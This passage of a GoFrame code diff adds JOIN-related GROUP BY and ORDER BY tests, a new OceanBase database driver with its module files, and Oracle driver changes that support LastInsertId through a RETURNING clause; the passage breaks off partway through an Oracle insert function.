|
||||
|
||||
// Test GROUP BY with already qualified column
|
||||
r, err = db.Model(table1+" u").
|
||||
Fields("u.id", "u.nickname", "COUNT(*) as count").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Group("u.id").
|
||||
Order("u.id asc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "1")
|
||||
t.Assert(r[1]["id"], "2")
|
||||
|
||||
// Test GROUP BY with multiple columns
|
||||
r, err = db.Model(table1+" u").
|
||||
Fields("u.id", "u.nickname", "COUNT(*) as count").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Group("id", "nickname").
|
||||
Order("u.id asc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
|
||||
// Test GROUP BY with Raw expression
|
||||
r, err = db.Model(table1+" u").
|
||||
Fields("u.id", "u.nickname", "COUNT(*) as count").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Group(gdb.Raw("u.id")).
|
||||
Order("u.id asc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "1")
|
||||
t.Assert(r[1]["id"], "2")
|
||||
|
||||
// Test GROUP BY on non-primary table should work correctly
|
||||
r, err = db.Model(table1+" u").
|
||||
Fields("ud.id", "COUNT(*) as count").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Group("ud.id").
|
||||
Order("ud.id asc").All()
|
||||
t.AssertNil(err)
|
||||
// Should have results from the joined table
|
||||
t.Assert(len(r) > 0, true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Model_Order_WithJoin tests ORDER BY with JOIN queries
|
||||
func Test_Model_Order_WithJoin(t *testing.T) {
|
||||
var (
|
||||
table1 = gtime.TimestampNanoStr() + "_user"
|
||||
table2 = gtime.TimestampNanoStr() + "_user_detail"
|
||||
)
|
||||
createInitTable(table1)
|
||||
defer dropTable(table1)
|
||||
createInitTable(table2)
|
||||
defer dropTable(table2)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test ORDER BY with JOIN - unqualified column should be auto-prefixed
|
||||
r, err := db.Model(table1+" u").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Order("id desc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "2")
|
||||
t.Assert(r[1]["id"], "1")
|
||||
|
||||
// Test ORDER BY with already qualified column
|
||||
r, err = db.Model(table1+" u").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Order("u.id asc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "1")
|
||||
t.Assert(r[1]["id"], "2")
|
||||
|
||||
// Test ORDER BY with Raw expression
|
||||
r, err = db.Model(table1+" u").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Order(gdb.Raw("u.id asc")).All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "1")
|
||||
t.Assert(r[1]["id"], "2")
|
||||
|
||||
// Test multiple ORDER BY clauses with JOIN
|
||||
r, err = db.Model(table1+" u").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Order("id asc").Order("nickname asc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r) > 0, true)
|
||||
|
||||
// Test ORDER BY with asc/desc keywords
|
||||
r, err = db.Model(table1+" u").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Order("id asc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "1")
|
||||
t.Assert(r[1]["id"], "2")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Model_Group_And_Order_WithJoin tests combined GROUP BY and ORDER BY with JOINs
|
||||
func Test_Model_Group_And_Order_WithJoin(t *testing.T) {
|
||||
var (
|
||||
table1 = gtime.TimestampNanoStr() + "_user"
|
||||
table2 = gtime.TimestampNanoStr() + "_user_detail"
|
||||
)
|
||||
createInitTable(table1)
|
||||
defer dropTable(table1)
|
||||
createInitTable(table2)
|
||||
defer dropTable(table2)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test combined GROUP BY and ORDER BY with JOIN
|
||||
r, err := db.Model(table1+" u").
|
||||
Fields("u.id", "COUNT(*) as count").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Group("id").
|
||||
Order("id desc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "2")
|
||||
t.Assert(r[1]["id"], "1")
|
||||
|
||||
// Test with already qualified GROUP BY and unqualified ORDER BY
|
||||
r, err = db.Model(table1+" u").
|
||||
Fields("u.id", "COUNT(*) as count").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Group("u.id").
|
||||
Order("id asc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "1")
|
||||
t.Assert(r[1]["id"], "2")
|
||||
|
||||
// Test with unqualified GROUP BY and qualified ORDER BY
|
||||
r, err = db.Model(table1+" u").
|
||||
Fields("u.id", "COUNT(*) as count").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Group("id").
|
||||
Order("u.id desc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "2")
|
||||
t.Assert(r[1]["id"], "1")
|
||||
|
||||
// Test with both unqualified
|
||||
r, err = db.Model(table1+" u").
|
||||
Fields("u.id", "COUNT(*) as count").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Group("id").
|
||||
Order("id").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Model_Join_Without_Alias tests JOIN without table aliases
|
||||
func Test_Model_Join_Without_Alias(t *testing.T) {
|
||||
var (
|
||||
table1 = gtime.TimestampNanoStr() + "_user"
|
||||
table2 = gtime.TimestampNanoStr() + "_user_detail"
|
||||
)
|
||||
createInitTable(table1)
|
||||
defer dropTable(table1)
|
||||
createInitTable(table2)
|
||||
defer dropTable(table2)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test GROUP BY and ORDER BY with JOIN but without aliases
|
||||
// This should still work correctly
|
||||
r, err := db.Model(table1).
|
||||
Fields(table1+".id", "COUNT(*) as count").
|
||||
LeftJoin(table2, table1+".id = "+table2+".id").
|
||||
Where(table1+".id", g.Slice{1, 2}).
|
||||
Group(table1 + ".id").
|
||||
Order(table1 + ".id asc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "1")
|
||||
t.Assert(r[1]["id"], "2")
|
||||
})
|
||||
}
|
||||
@ -178,7 +178,7 @@ func Test_PartitionTable(t *testing.T) {
|
||||
createShopDBTable()
|
||||
insertShopDBData()
|
||||
|
||||
//defer dropShopDBTable()
|
||||
// defer dropShopDBTable()
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data, err := db3.Ctx(ctx).Model("dbx_order").Partition("p3", "p4").All()
|
||||
t.AssertNil(err)
|
||||
|
||||
44
contrib/drivers/oceanbase/go.mod
Normal file
44
contrib/drivers/oceanbase/go.mod
Normal file
@ -0,0 +1,44 @@
|
||||
module github.com/gogf/gf/contrib/drivers/oceanbase/v2
|
||||
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.7
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/BurntSushi/toml v1.5.0 // indirect
|
||||
github.com/clbanning/mxj/v2 v2.7.0 // indirect
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha // indirect
|
||||
github.com/fatih/color v1.18.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.9.0 // indirect
|
||||
github.com/go-logr/logr v1.4.3 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.1 // indirect
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
github.com/gorilla/websocket v1.5.3 // indirect
|
||||
github.com/grokify/html-strip-tags-go v0.1.0 // indirect
|
||||
github.com/magiconair/properties v1.8.10 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.16 // indirect
|
||||
github.com/olekukonko/errors v1.1.0 // indirect
|
||||
github.com/olekukonko/ll v0.0.9 // indirect
|
||||
github.com/olekukonko/tablewriter v1.1.0 // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 // indirect
|
||||
go.opentelemetry.io/otel v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.38.0 // indirect
|
||||
golang.org/x/net v0.40.0 // indirect
|
||||
golang.org/x/sys v0.35.0 // indirect
|
||||
golang.org/x/text v0.25.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
|
||||
replace (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 => ../mysql
|
||||
github.com/gogf/gf/v2 => ../../../
|
||||
)
|
||||
81
contrib/drivers/oceanbase/go.sum
Normal file
81
contrib/drivers/oceanbase/go.sum
Normal file
@ -0,0 +1,81 @@
|
||||
github.com/BurntSushi/toml v1.5.0 h1:W5quZX/G/csjUnuI8SUYlsHs9M38FC7znL0lIO+DvMg=
|
||||
github.com/BurntSushi/toml v1.5.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
|
||||
github.com/clbanning/mxj/v2 v2.7.0 h1:WA/La7UGCanFe5NpHF0Q3DNtnCsVoxbPKuyBNHWRyME=
|
||||
github.com/clbanning/mxj/v2 v2.7.0/go.mod h1:hNiWqW14h+kc+MdF9C6/YoRfjEJoR3ou6tn/Qo+ve2s=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha h1:dwFlh8pBg1VMOXWGipNMRt8v96dKAIvBehtCt6OtunU=
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha/go.mod h1:W0y4M2dtBB9U5z3YlghmpuUhiaZT2h6yoeE+C1sCp6A=
|
||||
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||
github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=
|
||||
github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
|
||||
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
|
||||
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
|
||||
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI=
|
||||
github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/grokify/html-strip-tags-go v0.1.0 h1:03UrQLjAny8xci+R+qjCce/MYnpNXCtgzltlQbOBae4=
|
||||
github.com/grokify/html-strip-tags-go v0.1.0/go.mod h1:ZdzgfHEzAfz9X6Xe5eBLVblWIxXfYSQ40S/VKrAOGpc=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8SYxI99mE=
|
||||
github.com/magiconair/properties v1.8.10/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
|
||||
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/olekukonko/errors v1.1.0 h1:RNuGIh15QdDenh+hNvKrJkmxxjV4hcS50Db478Ou5sM=
|
||||
github.com/olekukonko/errors v1.1.0/go.mod h1:ppzxA5jBKcO1vIpCXQ9ZqgDh8iwODz6OXIGKU8r5m4Y=
|
||||
github.com/olekukonko/ll v0.0.9 h1:Y+1YqDfVkqMWuEQMclsF9HUR5+a82+dxJuL1HHSRpxI=
|
||||
github.com/olekukonko/ll v0.0.9/go.mod h1:En+sEW0JNETl26+K8eZ6/W4UQ7CYSrrgg/EdIYT2H8g=
|
||||
github.com/olekukonko/tablewriter v1.1.0 h1:N0LHrshF4T39KvI96fn6GT8HEjXRXYNDrDjKFDB7RIY=
|
||||
github.com/olekukonko/tablewriter v1.1.0/go.mod h1:5c+EBPeSqvXnLLgkm9isDdzR3wjfBkHR9Nhfp3NWrzo=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
|
||||
github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
|
||||
go.opentelemetry.io/otel v1.38.0 h1:RkfdswUDRimDg0m2Az18RKOsnI8UDzppJAtj01/Ymk8=
|
||||
go.opentelemetry.io/otel v1.38.0/go.mod h1:zcmtmQ1+YmQM9wrNsTGV/q/uyusom3P8RxwExxkZhjM=
|
||||
go.opentelemetry.io/otel/metric v1.38.0 h1:Kl6lzIYGAh5M159u9NgiRkmoMKjvbsKtYRwgfrA6WpA=
|
||||
go.opentelemetry.io/otel/metric v1.38.0/go.mod h1:kB5n/QoRM8YwmUahxvI3bO34eVtQf2i4utNVLr9gEmI=
|
||||
go.opentelemetry.io/otel/sdk v1.38.0 h1:l48sr5YbNf2hpCUj/FoGhW9yDkl+Ma+LrVl8qaM5b+E=
|
||||
go.opentelemetry.io/otel/sdk v1.38.0/go.mod h1:ghmNdGlVemJI3+ZB5iDEuk4bWA3GkTpW+DOoZMYBVVg=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.38.0 h1:aSH66iL0aZqo//xXzQLYozmWrXxyFkBJ6qT5wthqPoM=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.38.0/go.mod h1:dg9PBnW9XdQ1Hd6ZnRz689CbtrUp0wMMs9iPcgT9EZA=
|
||||
go.opentelemetry.io/otel/trace v1.38.0 h1:Fxk5bKrDZJUH+AMyyIXGcFAPah0oRcT+LuNtJrmcNLE=
|
||||
go.opentelemetry.io/otel/trace v1.38.0/go.mod h1:j1P9ivuFsTceSWe1oY+EeW3sc+Pp42sO++GHkg4wwhs=
|
||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||
golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY=
|
||||
golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
|
||||
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||
golang.org/x/text v0.25.0 h1:qVyWApTSYLk/drJRO5mDlNYskwQznZmkpV2c8q9zls4=
|
||||
golang.org/x/text v0.25.0/go.mod h1:WEdwpYrmk1qmdHvhkSTNPm3app7v4rsT8F2UD6+VHIA=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
49
contrib/drivers/oceanbase/oceanbase.go
Normal file
49
contrib/drivers/oceanbase/oceanbase.go
Normal file
@ -0,0 +1,49 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
// Package oceanbase implements gdb.Driver, which supports operations for database OceanBase.
|
||||
package oceanbase
|
||||
|
||||
import (
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
|
||||
"github.com/gogf/gf/contrib/drivers/mysql/v2"
|
||||
)
|
||||
|
||||
// Driver is the driver for OceanBase database.
|
||||
//
|
||||
// OceanBase is a distributed relational database developed by Ant Group. It supports both MySQL and Oracle
|
||||
// protocol modes. This driver uses the MySQL protocol to communicate with OceanBase database in MySQL
|
||||
// compatibility mode.
|
||||
//
|
||||
// Although OceanBase is compatible with MySQL protocol, it is packaged as a separate driver component
|
||||
// rather than reusing the mysql adapter directly. This design allows for future extensibility,
|
||||
// such as implementing OceanBase-specific features like distributed transactions or Oracle mode support.
|
||||
type Driver struct {
|
||||
*mysql.Driver
|
||||
}
|
||||
|
||||
func init() {
|
||||
var (
|
||||
err error
|
||||
driverObj = New()
|
||||
driverNames = g.SliceStr{"oceanbase"}
|
||||
)
|
||||
for _, driverName := range driverNames {
|
||||
if err = gdb.Register(driverName, driverObj); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// New creates and returns a driver that implements gdb.Driver, which supports operations for OceanBase.
|
||||
func New() gdb.Driver {
|
||||
mysqlDriver := mysql.New().(*mysql.Driver)
|
||||
return &Driver{
|
||||
Driver: mysqlDriver,
|
||||
}
|
||||
}
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/drivers/oracle/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/sijms/go-ora/v2 v2.7.10
|
||||
)
|
||||
|
||||
|
||||
@ -5,10 +5,6 @@
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
// Package oracle implements gdb.Driver, which supports operations for database Oracle.
|
||||
//
|
||||
// Note:
|
||||
// 1. It does not support Save/Replace features.
|
||||
// 2. It does not support LastInsertId.
|
||||
package oracle
|
||||
|
||||
import (
|
||||
|
||||
120
contrib/drivers/oracle/oracle_do_exec.go
Normal file
120
contrib/drivers/oracle/oracle_do_exec.go
Normal file
@ -0,0 +1,120 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package oracle
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/errors/gcode"
|
||||
"github.com/gogf/gf/v2/errors/gerror"
|
||||
)
|
||||
|
||||
const (
|
||||
returningClause = " RETURNING %s INTO ?"
|
||||
)
|
||||
|
||||
// DoExec commits the sql string and its arguments to underlying driver
|
||||
// through given link object and returns the execution result.
|
||||
// It handles INSERT statements specially to support LastInsertId.
|
||||
func (d *Driver) DoExec(
|
||||
ctx context.Context, link gdb.Link, sql string, args ...interface{},
|
||||
) (result sql.Result, err error) {
|
||||
var (
|
||||
isUseCoreDoExec = true
|
||||
primaryKey string
|
||||
pkField gdb.TableField
|
||||
)
|
||||
|
||||
// Transaction checks.
|
||||
if link == nil {
|
||||
if tx := gdb.TXFromCtx(ctx, d.GetGroup()); tx != nil {
|
||||
link = tx
|
||||
} else if link, err = d.MasterLink(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else if !link.IsTransaction() {
|
||||
if tx := gdb.TXFromCtx(ctx, d.GetGroup()); tx != nil {
|
||||
link = tx
|
||||
}
|
||||
}
|
||||
|
||||
// Check if it is an insert operation with primary key from context.
|
||||
if value := ctx.Value(internalPrimaryKeyInCtx); value != nil {
|
||||
if field, ok := value.(gdb.TableField); ok {
|
||||
pkField = field
|
||||
isUseCoreDoExec = false
|
||||
}
|
||||
}
|
||||
|
||||
// Check if it is an INSERT statement with primary key.
|
||||
if !isUseCoreDoExec && pkField.Name != "" && strings.Contains(strings.ToUpper(sql), "INSERT INTO") {
|
||||
primaryKey = pkField.Name
|
||||
// Oracle supports RETURNING clause to get the last inserted id
|
||||
sql += fmt.Sprintf(returningClause, d.QuoteWord(primaryKey))
|
||||
} else {
|
||||
// Use default DoExec for non-INSERT or no primary key scenarios
|
||||
return d.Core.DoExec(ctx, link, sql, args...)
|
||||
}
|
||||
|
||||
// Only the insert operation with primary key can execute the following code
|
||||
|
||||
// SQL filtering.
|
||||
sql, args = d.FormatSqlBeforeExecuting(sql, args)
|
||||
sql, args, err = d.DoFilter(ctx, link, sql, args)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Prepare output variable for RETURNING clause
|
||||
var lastInsertId int64
|
||||
// Append the output parameter for the RETURNING clause
|
||||
args = append(args, &lastInsertId)
|
||||
|
||||
// Link execution.
|
||||
_, err = d.DoCommit(ctx, gdb.DoCommitInput{
|
||||
Link: link,
|
||||
Sql: sql,
|
||||
Args: args,
|
||||
Stmt: nil,
|
||||
Type: gdb.SqlTypeExecContext,
|
||||
IsTransaction: link.IsTransaction(),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return &Result{
|
||||
lastInsertId: 0,
|
||||
rowsAffected: 0,
|
||||
lastInsertIdError: err,
|
||||
}, err
|
||||
}
|
||||
|
||||
// Get rows affected from the result
|
||||
// For single insert with RETURNING clause, affected is always 1
|
||||
var affected int64 = 1
|
||||
|
||||
// Check if the primary key field type supports LastInsertId
|
||||
if !strings.Contains(strings.ToLower(pkField.Type), "int") {
|
||||
return &Result{
|
||||
lastInsertId: 0,
|
||||
rowsAffected: affected,
|
||||
lastInsertIdError: gerror.NewCodef(
|
||||
gcode.CodeNotSupported,
|
||||
"LastInsertId is not supported by primary key type: %s",
|
||||
pkField.Type,
|
||||
),
|
||||
}, nil
|
||||
}
|
||||
|
||||
return &Result{
|
||||
lastInsertId: lastInsertId,
|
||||
rowsAffected: affected,
|
||||
}, nil
|
||||
}
|
||||
@ -16,10 +16,15 @@ import (
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/errors/gcode"
|
||||
"github.com/gogf/gf/v2/errors/gerror"
|
||||
"github.com/gogf/gf/v2/os/gctx"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
"github.com/gogf/gf/v2/util/gconv"
|
||||
)
|
||||
|
||||
const (
|
||||
internalPrimaryKeyInCtx gctx.StrKey = "primary_key_field"
|
||||
)
|
||||
|
||||
// DoInsert inserts or updates data for given table.
|
||||
// The list parameter must contain at least one record, which was previously validated.
|
||||
func (d *Driver) DoInsert(
|
||||
@ -30,10 +35,38 @@ func (d *Driver) DoInsert(
|
||||
return d.doSave(ctx, link, table, list, option)
|
||||
|
||||
case gdb.InsertOptionReplace:
|
||||
return nil, gerror.NewCode(
|
||||
gcode.CodeNotSupported,
|
||||
